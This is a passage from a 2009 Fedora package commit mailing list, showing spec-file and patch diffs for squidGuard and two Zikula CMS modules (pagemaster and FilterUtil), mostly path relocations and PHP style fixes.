 	--with-db-lib=%{_libdir}/db4.6.21
@@ -107,7 +107,7 @@ popd
 
 %{__install} -p -D -m 0644 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d/squidGuard
 %{__install} -p -D -m 0644 samples/sample.conf $RPM_BUILD_ROOT%{_sysconfdir}/squid/squidGuard.conf
-%{__install} -p -D -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_dbhomedir}/blacklists.tar.gz
+%{__install} -p -D -m 0644 %{SOURCE2} $RPM_BUILD_ROOT%{_dbtopdir}/blacklists.tar.gz
 
 # Don't use SOURCE3, but use the allready patched one #165689
 %{__install} -p -D -m 0755 squid-getlist.html $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/squidGuard
@@ -124,14 +124,18 @@ popd
 %{__install} -p -D -m 0755 %{SOURCE102} $RPM_BUILD_ROOT%{_initrddir}/squidGuard
 %{__install} -p -D -m 0755 %{SOURCE103} $RPM_BUILD_ROOT%{_initrddir}/transparent-proxying
 
-pushd $RPM_BUILD_ROOT%{_dbhomedir}
-tar xfz $RPM_BUILD_ROOT%{_dbhomedir}/blacklists.tar.gz
-popd
+#pushd $RPM_BUILD_ROOT%{_dbhomedir}
+tar xfz $RPM_BUILD_ROOT%{_dbtopdir}/blacklists.tar.gz
+#popd
 
 sed -i "s,dest/adult/,blacklists/porn/,g" $RPM_BUILD_ROOT%{_sysconfdir}/squid/squidGuard.conf
 
 %{__install} -p -D -m 0644 samples/babel.* $RPM_BUILD_ROOT%{_cgibin}
 
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/squidGuard
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/squid
+ln -s ../squidGuard/squidGuard.log  $RPM_BUILD_ROOT%{_localstatedir}/log/squid/squidGuard.log
+
 %clean
 %{__rm} -rf $RPM_BUILD_ROOT
 
@@ -184,11 +188,19 @@ fi
 #%{_sysconfdir}/selinux/targeted/src/policy/domains/program/squidGuard.te
 #%{_sysconfdir}/selinux/targeted/src/policy/file_contexts/program/squidGuard.fc
 %attr(0755,root,root) %{_cgibin}/*.cgi
+%config(noreplace) %{_cgibin}/squidGuard.cgi
 %{_cgibin}/babel.*
 %{_initrddir}/squidGuard
 %{_initrddir}/transparent-proxying
+%{_localstatedir}/log/squidGuard
+%{_localstatedir}/log/squid/squidGuard.log
 
 %changelog
+* Thu Sep 24 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-7
+- Make squidGuard.cgi config(noreplace)
+- Relocated logs, updated logrotate file.
+- Updated blacklist URL.
+
 * Wed Sep 09 2009 Jon Ciesla <limb at jcomserv.net> - 1.4-6
 - Include babel files, BZ 522038.
 



From limb at fedoraproject.org  Wed Oct 21 19:53:53 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Wed, 21 Oct 2009 19:53:53 +0000 (UTC)
Subject: rpms/squidGuard/devel .cvsignore,1.6,1.7 sources,1.6,1.7
Message-ID: <20091021195353.3829C11C00E8@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6530

Modified Files:
	.cvsignore sources 
Log Message:
Oops.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	18 Feb 2009 17:49:28 -0000	1.6
+++ .cvsignore	21 Oct 2009 19:53:53 -0000	1.7
@@ -1,2 +1,2 @@
 squidGuard-1.4.tar.gz
-blacklists.tar.gz
+blacklists.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	18 Feb 2009 17:49:28 -0000	1.6
+++ sources	21 Oct 2009 19:53:53 -0000	1.7
@@ -1,2 +1,2 @@
 de834150998c1386c30feae196f16b06  squidGuard-1.4.tar.gz
-7ebb53ea33459c14cbc850cd73405915  blacklists.tar.gz
+c239622cf8e956a91b198617723c71a4  blacklists.tgz



From toshio at fedoraproject.org  Wed Oct 21 19:58:32 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Wed, 21 Oct 2009 19:58:32 +0000 (UTC)
Subject: rpms/zikula-module-pagemaster/devel import.log, NONE,
	1.1 pagemaster-separate-filterutil.patch, NONE,
	1.1 zikula-module-pagemaster.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091021195832.0501111C00E8@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/zikula-module-pagemaster/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8476/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log pagemaster-separate-filterutil.patch 
	zikula-module-pagemaster.spec 
Log Message:
Initial commit



--- NEW FILE import.log ---
zikula-module-pagemaster-0_3_1-3_fc11:HEAD:zikula-module-pagemaster-0.3.1-3.fc11.src.rpm:1256154836

pagemaster-separate-filterutil.patch:
 pnuserapi.php |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE pagemaster-separate-filterutil.patch ---
Index: modules/pagemaster/pnuserapi.php
===================================================================
--- modules.orig/pagemaster/pnuserapi.php
+++ modules/pagemaster/pnuserapi.php
@@ -303,7 +303,7 @@ function pagemaster_userapi_pubList($arg
     if (version_compare(PN_VERSION_NUM, '2.0', '>='))
         Loader::LoadClass("FilterUtil");
     else
-        Loader::LoadClass("FilterUtil",'modules/pagemaster/classes');
+        Loader::LoadClass("FilterUtil",'config/classes');
         
 
     foreach ($pubfields as $fieldname => $field) {


--- NEW FILE zikula-module-pagemaster.spec ---
%global zikula_base         %{_datadir}/zikula
%global zikula_moddir       %{zikula_base}/modules
%global zikula_modname      pagemaster

Name:           zikula-module-%{zikula_modname}
Version:        0.3.1
Release:        3%{?dist}
Summary:        Creates pages with dynamic content like news, articles, etc
Group:          Applications/Publishing
License:        GPLv2+
URL:            http://code.zikula.org/pagemaster/
# Source URL is dynamically generated. Go to URL to fetch it
Source0:        package_ba269f9bbdba5234dca4bbed95702be2.zip
Patch0:         pagemaster-separate-filterutil.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
Requires:       zikula

%description
Pagemaster is a fully Zikula 1.1 compliant but non complete clone of Pagesetter 
(relations and mediashare plugin are missing still). The main task of the 
module is creating pages with dynamic content like news articles, product 
descriptions, band listings etc.

%prep
%setup -q -c

%patch0 -p0

# Remove empty index.html and others
find -size 0 | xargs rm -f

#Fixing wrong-file-end-of-line-encoding error
sed -i 's/\r//' modules/pagemaster/pndocs/install-and-usage.txt

# Rpmlint warnings E: script-without-shebang
find . -name '*.php' -exec chmod 0644 '{}' \;

# We package Filterutil in its own package in Fedora
rm -rf modules/pagemaster/classes/FilterUtil.class.php
rm -rf modules/pagemaster/classes/FilterUtil

%build

%install
rm -rf %{buildroot}


cd modules/%{zikula_modname}

mkdir -p %{buildroot}/%{zikula_moddir}/%{zikula_modname} 
cp -pr . %{buildroot}/%{zikula_moddir}/%{zikula_modname}
rm -rf %{buildroot}/%{zikula_moddir}/%{zikula_modname}/pndocs


%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc modules/%{zikula_modname}/pndocs/*
%{zikula_moddir}/%{zikula_modname}


%changelog
* Thu Sep 17 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.1-3
- Update for separated FilterUtil module

* Fri Aug 28 2009 Rahul Sundaram <sundaram at fedoraproject.org> - 0.3.1-2
- Fix license tag and add Source URL comment

* Wed Aug 26 2009 Rahul Sundaram <sundaram at fedoraproject.org> - 0.3.1-1
- initial package
- Based on Chitlesh Goorah's spec


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-pagemaster/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:34:38 -0000	1.1
+++ .cvsignore	21 Oct 2009 19:58:31 -0000	1.2
@@ -0,0 +1 @@
+package_ba269f9bbdba5234dca4bbed95702be2.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-pagemaster/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:34:38 -0000	1.1
+++ sources	21 Oct 2009 19:58:31 -0000	1.2
@@ -0,0 +1 @@
+bd3190b020698acfe6ce6d85f1909840  package_ba269f9bbdba5234dca4bbed95702be2.zip



From toshio at fedoraproject.org  Wed Oct 21 20:00:40 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Wed, 21 Oct 2009 20:00:40 +0000 (UTC)
Subject: rpms/zikula-module-filterutil/devel
	filterutil-separate-module.patch, 
	NONE, 1.1 filterutil-style-bugfix-zikula-trunk.patch, NONE,
	1.1 import.log, NONE, 1.1 zikula-module-filterutil.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091021200040.7818C11C0266@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/zikula-module-filterutil/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9634/devel

Modified Files:
	.cvsignore sources 
Added Files:
	filterutil-separate-module.patch 
	filterutil-style-bugfix-zikula-trunk.patch import.log 
	zikula-module-filterutil.spec 
Log Message:
Initial import.


filterutil-separate-module.patch:
 FilterUtil.class.php |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE filterutil-separate-module.patch ---
Index: filterutil-0/FilterUtil.class.php
===================================================================
--- filterutil-0.orig/FilterUtil.class.php
+++ filterutil-0/FilterUtil.class.php
@@ -13,7 +13,7 @@
 /**
  * Define Class path
  */
-define('FILTERUTIL_CLASS_PATH', 'includes/pnobjlib/FilterUtil');
+define('FILTERUTIL_CLASS_PATH', 'config/classes/FilterUtil');
 
 Loader::loadClass('FilterUtil_Plugin', FILTERUTIL_CLASS_PATH);
 Loader::loadClass('FilterUtil_PluginCommon', FILTERUTIL_CLASS_PATH);

filterutil-style-bugfix-zikula-trunk.patch:
 FilterUtil_Common.class.php         |   16 ++++++++--------
 FilterUtil_Plugin.class.php         |    8 ++++----
 filter/filter.category.class.php    |   17 +++++++++++------
 filter/filter.date.class.php        |   29 ++++++++++++++++++-----------
 filter/filter.default.class.php     |   15 +++++++++------
 filter/filter.replaceName.class.php |   11 +++++++----
 6 files changed, 57 insertions(+), 39 deletions(-)

--- NEW FILE filterutil-style-bugfix-zikula-trunk.patch ---
Index: FilterUtil/filter/filter.default.class.php
===================================================================
--- FilterUtil/filter/filter.default.class.php	(revision 15)
+++ FilterUtil/filter/filter.default.class.php	(working copy)
@@ -40,7 +40,7 @@
     		$this->activateOperators(array('eq', 'ne', 'lt', 'le', 'gt', 'ge', 'like', 'null', 'notnull'));
     	}
     	
-	    if ($config['default'] == true || count($this->fields) <= 0) {
+    	if ((isset($config['default']) && $config['default'] == true) || count($this->fields) <= 0) {
     		$this->default = true;
     	}
 	}
@@ -55,8 +55,9 @@
     {
         static $ops = array('eq', 'ne', 'lt', 'le', 'gt', 'ge', 'like', 'null', 'notnull');
     	if (is_array($op)) {
-    		foreach($op as $v)
+    		foreach ($op as $v) {
     			$this->activateOperators($v);
+    		}
     	} elseif (!empty($op) && array_search($op, $this->ops) === false && array_search($op, $ops) !== false) {
     		$this->ops[] = $op;
     	}
@@ -65,15 +66,17 @@
     public function addFields($fields)
     {
     	if (is_array($fields)) {
-    		foreach($fields as $fld)
+    		foreach ($fields as $fld) {
     			$this->addFields($fld);
+    		}
     	} elseif (!empty($fields) && $this->fieldExists($fields) 
     	        && array_search($fields, $this->fields) === false) {
     		$this->fields[] = $fields;
     	}
     }
     
-    public function getFields() {
+    public function getFields()
+    {
         return $this->fields;
     }
     
@@ -111,7 +114,7 @@
 	    }
 		switch ($op) {
 		case 'ne':
-			return array('where' => $this->column[$field]." <> '" . $value . "'");
+			return array('where' => $this->column[$field] . " != '" . $value . "'");
 			break;
 		case 'lt':
 			return array('where' => $this->column[$field]." < '" . $value . "'");
@@ -132,7 +135,7 @@
 			return array('where' => $this->column[$field]." = '' OR ".$this->column[$field]." IS NULL");
 			break;
 		case 'notnull':
-			return array('where' => $this->column[$field]." <> '' AND ".$this->column[$field]." IS NOT NULL");
+			return array('where' => $this->column[$field] . " != '' AND " . $this->column[$field] . " IS NOT NULL");
 			break;
 		case 'eq':
 			return array('where' => $this->column[$field]." = '" . $value . "'");
Index: FilterUtil/filter/filter.replaceName.class.php
===================================================================
--- FilterUtil/filter/filter.replaceName.class.php	(revision 15)
+++ FilterUtil/filter/filter.replaceName.class.php	(working copy)
@@ -27,8 +27,9 @@
 	public function __construct($config)
 	{
 		parent::__construct($config);
-		if (isset($config['pair']) && is_array($config['pair']))
+		if (isset($config['pair']) && is_array($config['pair'])) {
 		    $this->addPair($config['pair']);
+		}
 	}
 	
 	/**
@@ -37,12 +38,14 @@
 	 * @param mixed $pair Replace Pair
 	 * @access public
 	 */
-	public function addPair($pair) {
+	public function addPair($pair)
+	{
 	    foreach ($pair as $f => $r) {
-	        if (is_array($r))
+	        if (is_array($r)) {
 	            $this->addPair($r);
-	        else
+	        } else {
 	            $this->pair[$f] = $r;
+	        }
 	    }
 	}
 
Index: FilterUtil/filter/filter.category.class.php
===================================================================
--- FilterUtil/filter/filter.category.class.php	(revision 15)
+++ FilterUtil/filter/filter.category.class.php	(working copy)
@@ -53,14 +53,16 @@
     public function addFields($fields)
     {
     	if (is_array($fields)) {
-    		foreach($fields as $fld)
+    		foreach ($fields as $fld) {
     			$this->addFields($fld);
+    		}
     	} elseif (!empty($fields) && !$this->fieldExists($fields) && array_search($fields, $this->fields) === false) {
     		$this->fields[] = $fields;
     	}
     }
     
-    public function getFields() {
+    public function getFields()
+    {
         return $this->fields;
     }
     
@@ -73,8 +75,9 @@
     public function activateOperators($op)
     {
     	if (is_array($op)) {
-    		foreach($op as $v)
+    		foreach ($op as $v) {
     			$this->activateOperators($v);
+    		}
     	} elseif (!empty($op) && array_search($op, $this->ops) === false && array_search($op, $this->availableOperators()) !== false) {
     		$this->ops[] = $op;
     	}
@@ -89,8 +92,9 @@
     public function getOperators()
     {
     	$fields = $this->getFields();
-    	if ($this->default == true)
+    	if ($this->default == true) {
     		$fields[] = '-';
+    	}
     	$ops = array();
     	foreach ($this->ops as $op) {
     		$ops[$op] = $fields;
@@ -104,7 +108,8 @@
      * @see CategoryUtil
      * @param mixed $property Category Property
      */
-	public function setProperty($property) {
+	public function setProperty($property)
+	{
 	    $this->property = (array) $property;
 	}
 
@@ -149,4 +154,4 @@
 		}
 		return array('where' => $where);
 	}
-}
\ No newline at end of file
+}
Index: FilterUtil/filter/filter.date.class.php
===================================================================
--- FilterUtil/filter/filter.date.class.php	(revision 15)
+++ FilterUtil/filter/filter.date.class.php	(working copy)
@@ -53,8 +53,9 @@
     public function activateOperators($op)
     {
     	if (is_array($op)) {
-    		foreach($op as $v)
+    		foreach ($op as $v) {
     			$this->activateOperators($v);
+    		}
     	} elseif (!empty($op) && array_search($op, $this->ops) === false && array_search($op, $this->availableOperators()) !== false) {
     		$this->ops[] = $op;
     	}
@@ -63,15 +64,17 @@
     public function addFields($fields)
     {
     	if (is_array($fields)) {
-    		foreach($fields as $fld)
+    		foreach ($fields as $fld) {
     			$this->addFields($fld);
+    		}
     	} elseif (!empty($fields) && $this->fieldExists($fields) 
     	        && array_search($fields, $this->fields) === false) {
     		$this->fields[] = $fields;
     	}
     }
     
-    public function getFields() {
+    public function getFields()
+    {
         return $this->fields;
     }
     
@@ -84,8 +87,9 @@
     public function getOperators()
     {
     	$fields = $this->getFields();
-    	if ($this->default == true)
+    	if ($this->default == true) {
     		$fields[] = '-';
+    	}
     	$ops = array();
     	foreach ($this->ops as $op) {
     		$ops[$op] = $fields;
@@ -142,7 +146,8 @@
 		return $time;
 	}
 	
-	private function makePeriod($date, $type) {
+	private function makePeriod($date, $type)
+	{
 	    $datearray = getdate($date);
 	    switch($type) {
 	        case 'year':
@@ -154,8 +159,8 @@
 	            $to = strtotime('+1 month', $from);
 	            break;
 	        /**case 'week':
-	            $from = DateUtil::getDatetime("substr ($date, 0, strpos ($date, ' '));
-	            $to = DateUtil::getDatetime("$from +1 year");
+	            $from = DateUtil::getDatetime(substr($date, 0, strpos($date, ' '));
+	            $to = DateUtil::getDatetime($from . ' +1 year');
 	            break;*/
 	        case 'day':
 	        case 'tomorrow':
@@ -176,9 +181,11 @@
 	    return array($from, $to);
 	}
 	
-	public function GetSQL($field, $op, $value) {
-	    if (array_search($op, $this->ops) === false || array_search($field, $this->fields) === false)
+	public function GetSQL($field, $op, $value)
+	{
+	    if (array_search($op, $this->ops) === false || array_search($field, $this->fields) === false) {
 	        return '';
+	    }
 	    $type = 'point';
 	    if (preg_match('~^(year|month|week|day|hour|min):\s*(.*)$~i', $value, $res)) {
 	        $type = strtolower($res[1]);
@@ -204,7 +211,7 @@
 	                list($from, $to) = $this->makePeriod($time, $type);
 	                $where = $this->column[$field].' < \''.DateUtil::getDatetime($from).'\' AND '.$this->column[$field].' >= \''.DateUtil::getDatetime($to).'\'';
 	            } else {
-	                $where = $this->column[$field].' <> \''.DateUtil::getDatetime($time).'\'';
+	                $where = $this->column[$field] . ' != \'' . DateUtil::getDatetime($time) . '\'';
 	            }
 	            break;
 	        case 'gt':
@@ -231,4 +238,4 @@
 	    
 	}
 }
-?>
\ No newline at end of file
+?>
Index: FilterUtil/FilterUtil_Common.class.php
===================================================================
--- FilterUtil/FilterUtil_Common.class.php	(revision 15)
+++ FilterUtil/FilterUtil_Common.class.php	(working copy)
@@ -89,7 +89,7 @@
 	 */
 	protected function setTable($table)
 	{
-		$pntable =& pnDBGetTables();
+		$pntable = pnDBGetTables();
 
 		if (!isset($pntable[$table]) || !isset($pntable[$table . '_column'])) {
 			return false;
@@ -113,7 +113,7 @@
 	 */
 	protected function setJoin(&$join)
 	{
-	    $this->join =& $join;
+        $this->join = $join;
         $this->addJoinToColumn();
 	}
 	
@@ -125,11 +125,11 @@
 	 */
 	protected function addJoinToColumn()
 	{
-	    if (count($this->join) <= 0)
+	    if (count($this->join) < 1) {
 	        return;
 
-	    $pntable =& pnDBGetTables();
-	    $c =& $this->column;
+	    $pntable = pnDBGetTables();
+	    $c = $this->column;
 	    // reset column array...
 	    $c = $pntable[$this->pntable.'_column'];
 	    // now add alias "tbl" to all fields
@@ -140,7 +140,7 @@
 	    // add fields of all joins
 	    $alias = 'a';
 	    foreach ($this->join as &$join) {
-	        $jc =& $pntable[$join['join_table'].'_column'];
+	        $jc = $pntable[$join['join_table'].'_column'];
 	        foreach ($join['join_field'] as $k => $f) {
 	            $a = $join['object_field_name'][$k];
 	            if (isset($c[$a])) {
@@ -182,6 +182,6 @@
 	{
 		$config['table'] = $this->pntable;
 		$config['module'] = $this->module;
-		$config['join'] =& $this->join;
+		$config['join'] = $this->join;
 	}
-}
\ No newline at end of file
+}
Index: FilterUtil/FilterUtil_Plugin.class.php
===================================================================
--- FilterUtil/FilterUtil_Plugin.class.php	(revision 15)
+++ FilterUtil/FilterUtil_Plugin.class.php	(working copy)
@@ -101,7 +101,7 @@
 		$obj = new $class($config);
 
 		$this->plg[] = $obj;
-		$obj =& end($this->plg);
+		$obj = end($this->plg);
 		$obj->setID(key($this->plg));
 		$this->registerPlugin(key($this->plg));
 
@@ -119,7 +119,7 @@
 	 */
 	private function registerPlugin($k)
 	{
-		$obj =& $this->plg[$k];
+		$obj = $this->plg[$k];
 		if ($obj instanceof FilterUtil_Build) {
 			$ops = $obj->getOperators();
 			if (isset($ops) && is_array($ops)) {
@@ -187,7 +187,7 @@
 	public function replace($field, $op, $value)
 	{
 		foreach ($this->replaces as $k) {
-			$obj =& $this->plg[$k];
+			$obj = $this->plg[$k];
 			list($field, $op, $value) = $obj->replace($field, $op, $value);
 		}
 
@@ -218,4 +218,4 @@
 			return '';
 		}
 	}
-}
\ No newline at end of file
+}


--- NEW FILE import.log ---
zikula-module-filterutil-0-0_2_20090915svn15_fc11:HEAD:zikula-module-filterutil-0-0.2.20090915svn15.fc11.src.rpm:1256154981


--- NEW FILE zikula-module-filterutil.spec ---
%global zikula_base         %{_datadir}/zikula
%global zikula_modname      filterutil

Name:           zikula-module-%{zikula_modname}
Version:        0
Release:        0.2.20090915svn15%{?dist}
Summary:        Pagesetter like filter rules for Zikula
Group:          Applications/Publishing
License:        GPLv2+
URL:            http://code.zikula.org/filterutil
# svn export -r 15 https://code.zikula.org/svn/filterutil/trunk filterutil-0
# tar -cjvf filterutil-0.tar.bz2 filterutil-0
Source0:        filterutil-0.tar.bz2
# Style and bugfix backport from zikula Core 
# https://code.zikula.org/svn/core/development/main/includes/FilterUtil
Patch0:         filterutil-style-bugfix-zikula-trunk.patch
Patch1:         filterutil-separate-module.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
Requires:       zikula

%description
FilterUtil brings Pagesetter like filter rules to Zikula.  This work is a
backport of the module included in zikula 2.0.

%prep
%setup -q -n %{zikula_modname}-%{version}
%patch0 -p0
%patch1 -p1

%build

find . -type 'f' -exec chmod a-x \{\} \;

%install
rm -rf %{buildroot}

mkdir -p %{buildroot}/%{zikula_base}/config/classes/%{zikula_modname}
cp -pr . %{buildroot}/%{zikula_base}/config/classes/%{zikula_modname}
rm -rf %{buildroot}/%{zikula_base}/*.pdf

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc manual-developer.pdf manual-user.pdf
%{zikula_base}/config/classes/%{zikula_modname}


%changelog
* Thu Sep 17 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0-0.2.20090915svn15
- Add fixes from itbegins for putting this in its own zikula directory

* Tue Sep 15 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0-0.1.20090915svn15
- Initial package attempt


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-filterutil/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:35:24 -0000	1.1
+++ .cvsignore	21 Oct 2009 20:00:40 -0000	1.2
@@ -0,0 +1 @@
+filterutil-0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-filterutil/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:35:24 -0000	1.1
+++ sources	21 Oct 2009 20:00:40 -0000	1.2
@@ -0,0 +1 @@
+f2023afb84f125fce2c767c9fdf398fd  filterutil-0.tar.bz2



From toshio at fedoraproject.org  Wed Oct 21 20:04:37 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Wed, 21 Oct 2009 20:04:37 +0000 (UTC)
Subject: rpms/zikula-module-filterutil/EL-5 filterutil-separate-module.patch,
	NONE, 1.1 filterutil-style-bugfix-zikula-trunk.patch, NONE,
	1.1 zikula-module-filterutil.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091021200437.50F2E11C00E8@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/zikula-module-filterutil/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10290

Modified Files:
	.cvsignore sources 
Added Files:
	filterutil-separate-module.patch 
	filterutil-style-bugfix-zikula-trunk.patch 
	zikula-module-filterutil.spec 
Log Message:
initial import:

* Thu Sep 17 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0-0.2.20090915svn15
- Add fixes from itbegins for putting this in its own zikula directory


filterutil-separate-module.patch:
 FilterUtil.class.php |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE filterutil-separate-module.patch ---
Index: filterutil-0/FilterUtil.class.php
===================================================================
--- filterutil-0.orig/FilterUtil.class.php
+++ filterutil-0/FilterUtil.class.php
@@ -13,7 +13,7 @@
 /**
  * Define Class path
  */
-define('FILTERUTIL_CLASS_PATH', 'includes/pnobjlib/FilterUtil');
+define('FILTERUTIL_CLASS_PATH', 'config/classes/FilterUtil');
 
 Loader::loadClass('FilterUtil_Plugin', FILTERUTIL_CLASS_PATH);
 Loader::loadClass('FilterUtil_PluginCommon', FILTERUTIL_CLASS_PATH);

filterutil-style-bugfix-zikula-trunk.patch:
 FilterUtil_Common.class.php         |   16 ++++++++--------
 FilterUtil_Plugin.class.php         |    8 ++++----
 filter/filter.category.class.php    |   17 +++++++++++------
 filter/filter.date.class.php        |   29 ++++++++++++++++++-----------
 filter/filter.default.class.php     |   15 +++++++++------
 filter/filter.replaceName.class.php |   11 +++++++----
 6 files changed, 57 insertions(+), 39 deletions(-)

--- NEW FILE filterutil-style-bugfix-zikula-trunk.patch ---
Index: FilterUtil/filter/filter.default.class.php
===================================================================
--- FilterUtil/filter/filter.default.class.php	(revision 15)
+++ FilterUtil/filter/filter.default.class.php	(working copy)
@@ -40,7 +40,7 @@
     		$this->activateOperators(array('eq', 'ne', 'lt', 'le', 'gt', 'ge', 'like', 'null', 'notnull'));
     	}
     	
-	    if ($config['default'] == true || count($this->fields) <= 0) {
+    	if ((isset($config['default']) && $config['default'] == true) || count($this->fields) <= 0) {
     		$this->default = true;
     	}
 	}
@@ -55,8 +55,9 @@
     {
         static $ops = array('eq', 'ne', 'lt', 'le', 'gt', 'ge', 'like', 'null', 'notnull');
     	if (is_array($op)) {
-    		foreach($op as $v)
+    		foreach ($op as $v) {
     			$this->activateOperators($v);
+    		}
     	} elseif (!empty($op) && array_search($op, $this->ops) === false && array_search($op, $ops) !== false) {
     		$this->ops[] = $op;
     	}
@@ -65,15 +66,17 @@
     public function addFields($fields)
     {
     	if (is_array($fields)) {
-    		foreach($fields as $fld)
+    		foreach ($fields as $fld) {
     			$this->addFields($fld);
+    		}
     	} elseif (!empty($fields) && $this->fieldExists($fields) 
     	        && array_search($fields, $this->fields) === false) {
     		$this->fields[] = $fields;
     	}
     }
     
-    public function getFields() {
+    public function getFields()
+    {
         return $this->fields;
     }
     
@@ -111,7 +114,7 @@
 	    }
 		switch ($op) {
 		case 'ne':
-			return array('where' => $this->column[$field]." <> '" . $value . "'");
+			return array('where' => $this->column[$field] . " != '" . $value . "'");
 			break;
 		case 'lt':
 			return array('where' => $this->column[$field]." < '" . $value . "'");
@@ -132,7 +135,7 @@
 			return array('where' => $this->column[$field]." = '' OR ".$this->column[$field]." IS NULL");
 			break;
 		case 'notnull':
-			return array('where' => $this->column[$field]." <> '' AND ".$this->column[$field]." IS NOT NULL");
+			return array('where' => $this->column[$field] . " != '' AND " . $this->column[$field] . " IS NOT NULL");
 			break;
 		case 'eq':
 			return array('where' => $this->column[$field]." = '" . $value . "'");
Index: FilterUtil/filter/filter.replaceName.class.php
===================================================================
--- FilterUtil/filter/filter.replaceName.class.php	(revision 15)
+++ FilterUtil/filter/filter.replaceName.class.php	(working copy)
@@ -27,8 +27,9 @@
 	public function __construct($config)
 	{
 		parent::__construct($config);
-		if (isset($config['pair']) && is_array($config['pair']))
+		if (isset($config['pair']) && is_array($config['pair'])) {
 		    $this->addPair($config['pair']);
+		}
 	}
 	
 	/**
@@ -37,12 +38,14 @@
 	 * @param mixed $pair Replace Pair
 	 * @access public
 	 */
-	public function addPair($pair) {
+	public function addPair($pair)
+	{
 	    foreach ($pair as $f => $r) {
-	        if (is_array($r))
+	        if (is_array($r)) {
 	            $this->addPair($r);
-	        else
+	        } else {
 	            $this->pair[$f] = $r;
+	        }
 	    }
 	}
 
Index: FilterUtil/filter/filter.category.class.php
===================================================================
--- FilterUtil/filter/filter.category.class.php	(revision 15)
+++ FilterUtil/filter/filter.category.class.php	(working copy)
@@ -53,14 +53,16 @@
     public function addFields($fields)
     {
     	if (is_array($fields)) {
-    		foreach($fields as $fld)
+    		foreach ($fields as $fld) {
     			$this->addFields($fld);
+    		}
     	} elseif (!empty($fields) && !$this->fieldExists($fields) && array_search($fields, $this->fields) === false) {
     		$this->fields[] = $fields;
     	}
     }
     
-    public function getFields() {
+    public function getFields()
+    {
         return $this->fields;
     }
     
@@ -73,8 +75,9 @@
     public function activateOperators($op)
     {
     	if (is_array($op)) {
-    		foreach($op as $v)
+    		foreach ($op as $v) {
     			$this->activateOperators($v);
+    		}
     	} elseif (!empty($op) && array_search($op, $this->ops) === false && array_search($op, $this->availableOperators()) !== false) {
     		$this->ops[] = $op;
     	}
@@ -89,8 +92,9 @@
     public function getOperators()
     {
     	$fields = $this->getFields();
-    	if ($this->default == true)
+    	if ($this->default == true) {
     		$fields[] = '-';
+    	}
     	$ops = array();
     	foreach ($this->ops as $op) {
     		$ops[$op] = $fields;
@@ -104,7 +108,8 @@
      * @see CategoryUtil
      * @param mixed $property Category Property
      */
-	public function setProperty($property) {
+	public function setProperty($property)
+	{
 	    $this->property = (array) $property;
 	}
 
@@ -149,4 +154,4 @@
 		}
 		return array('where' => $where);
 	}
-}
\ No newline at end of file
+}
Index: FilterUtil/filter/filter.date.class.php
===================================================================
--- FilterUtil/filter/filter.date.class.php	(revision 15)
+++ FilterUtil/filter/filter.date.class.php	(working copy)
@@ -53,8 +53,9 @@
     public function activateOperators($op)
     {
     	if (is_array($op)) {
-    		foreach($op as $v)
